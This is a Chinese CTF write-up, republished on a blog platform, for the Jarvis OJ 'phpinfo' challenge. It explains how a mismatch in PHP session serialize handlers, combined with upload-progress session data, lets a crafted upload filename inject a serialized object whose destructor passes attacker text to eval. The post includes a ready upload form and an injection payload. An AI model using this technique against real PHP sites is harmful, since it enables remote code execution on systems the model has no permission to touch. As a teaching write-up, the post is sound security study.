前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Jarvis OJ phpinfo

Jarvis OJ phpinfo

作者头像
wywwzjj
发布2023-05-09 14:32:19
2730
发布2023-05-09 14:32:19
举报

从 session 角度学习反序列化

下面是题目给出的源码 原题链接

代码语言:javascript
复制
<?php
    // A webshell is wait for you
    ini_set('session.serialize_handler', 'php');
    session_start();
    class OowoO {
    	public $mdzz;
        
    	function __construct() {
    		$this->mdzz = 'phpinfo();';
    	}
    	
    	function __destruct() {
    		eval($this->mdzz);
    	}
    }
    if(isset($_GET['phpinfo'])) {
    	$m = new OowoO();
    }
    else {
    	highlight_string(file_get_contents('index.php'));
    }
?>

前言

题目直接给出了 phpinfo 信息,作为 CTF 的题来说,一定有其特别的意义。

另外,在实战中也是重要的信息泄露,不熟悉的同学可参考 phpinfo 可以告诉我们什么

遇到这种情况,可直接拿下来与默认的 phpinfo 进行文件对比,或许可以迅速找到突破口。

困境

看到 __construct()__destruct() 两个魔术方法,极有可能是反序列化的题。其中,__destruct() 中有

代码语言:javascript
复制
eval($this->mdzz);

如果 $this->mdzz 可控的话,这就是一个明显的 webshell 了,可惜 mdzz 在构造函数中就限死了,而且这里并没有变量覆盖的漏洞,否则也可以打一波,陷入困境。

有这么方便的 eval() 在这里,能不能绕过构造函数,直接执行我们需要的命令呢?

此处必有蹊跷。

代码语言:javascript
复制
ini_set('session.serialize_handler', 'php');

知识点

1.PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患

phpinfo 中可以看到,PHP 反序列化时可以使用的几种方法。

平时实验过程中,也可以用这个语句进行方法指定。

代码语言:javascript
复制
session_start([
    'serialize_handler' => 'php_serialize'
]);

在设置 session 和读取 session 两个阶段中,若使用了不同的序列化方法,将产生任意对象注入,进而导致反序列化漏洞。

代码语言:javascript
复制
$_SESSION['test'] = '|O:8:"stdClass":0:{}';

存储时使用 php_serialize --> 
a:1:{s:4:"test";s:20:"|O:8:"stdClass":0:{}";}

反序列化使用 php --> 
// var_dump($_SESSION);
array(1) {
    ["a:1:{s:4:"test";s:20:""]=>
    	object(stdClass)#1 (0) {
    }
}

PHP 获取到 session 字符串后,就开始查找第一个 |(竖线),用竖线将字符串分割成”键名”和“键值”, 并对“键值”进行反序列化。但如果这次反序列化失败,就放弃这次解析,再去找下一个竖线,执行同样的操作,直到成功。

然而到这里还是没解决 mdzz 不可控的问题,接下来引入第二个知识点。

2.上传进度支持(Upload progress in sessions)

正常用法参见 example #1,配合 Ajax 就能显示上传进度。

利用此法可达到对 session 写入数据的效果,从而使得 $mdzz 可控,可参照 有趣的 php 反序列化总结

当一个上传在处理中,同时 post 一个与 ini 设置的 session.upload_progress.name 同名变量时,php 检测到这种 post 请求时就会在 $_SESSION 中添加一组数据,所以可通过 session.upload_progress 来设置 session

下面是部分参数说明

session.upload_progress.enabled[=1] : 是否启用上传进度报告(默认开启) session.upload_progress.cleanup[=1] : 是否在上传完成后及时删除进度数据(默认开启, 推荐开启). session.upload_progress.prefix[=upload_progress_] : 进度数据将存储在 _SESSION[session.upload_progress.prefix . _POST[session.upload_progress.name]] session.upload_progress.name[=PHP_SESSION_UPLOAD_PROGRESS] : 如果 _POST[session.upload_progress.name]没有被设置, 则不会报告进度. session.upload_progress.freq[=1%] : 更新进度的频率(已经处理的字节数), 也支持百分比表示’%’. session.upload_progress.min_freq[=1.0] : 更新进度的时间间隔(秒级)

回到本题,查看 phpinfo

代码语言:javascript
复制
session.upload_progress.enabled = 1
session.upload_progress.cleanup = 0

即使 cleanup 开启了也问题不大,可利用持续上传进行条件竞争。

开干

构造一个表单

代码语言:javascript
复制
<!DOCTYPE html>
<html>
<body>
    <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
        <input type="file" name="file" />
        <input type="submit" value="submit" />
    </form>
</body>
</html>

如果不指定,PHP 将默认使用 “php“ 作为 session 序列化的方法,payload 及结果如下:

PS:不用纠结 Content-Type,这个对解题没有影响,重点是加入\,防止 " 被转义。

代码语言:javascript
复制
filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:19:\"print_r($_SESSION);\";}"

Array (
    [a:1:{s:24:"upload_progress_12312131";a:5:{s:10:"start_time";i:1551019950;s:14:"content_length";i:434;s:15:"bytes_processed";i:434;s:4:"done";b:1;s:5:"files";
     a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:55:"] 
    => OowoO Object	(
    		[mdzz] => print_r($_SESSION);
    )
)

根据 php 手册,存入 session 里的形式是这样的,由此看出 field_name 也可,所以不一定要用 filename

代码语言:javascript
复制
$_SESSION["upload_progress_123"] = array(
    "start_time" => 1234567890,   // The request time
    "content_length" => 57343257, // POST content length
    "bytes_processed" => 453489,  // Amount of bytes received and processed
    "done" => false,              
    // true when the POST handler has finished, successfully or not
    "files" => array(
    	0 => array(
    		"field_name" => "file1",       // Name of the <input/> field
    		// The following 3 elements equals those in $_FILES
    		"name" => "foo.avi",
    		"tmp_name" => "/tmp/phpxxxxxx",
    		"error" => 0,
    		"done" => true,
            // True when the POST handler has finished handling this file
    		"start_time" => 1234567890, 
            // When this file has started to be processed
    		"bytes_processed" => 57343250, 
            // Amount of bytes received and processed for this file
    	)
    )
)

flag 的老套路就不多说了,把 mdzz 里的值换成你需要执行的操作即可。

总结

知识面,决定看到的攻击面有多广。 知识链,决定发动的杀伤链有多深。

——猪猪侠

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019/02/25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 从 session 角度学习反序列化
    • 前言
      • 困境
        • 知识点
          • 开干
            • 总结
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档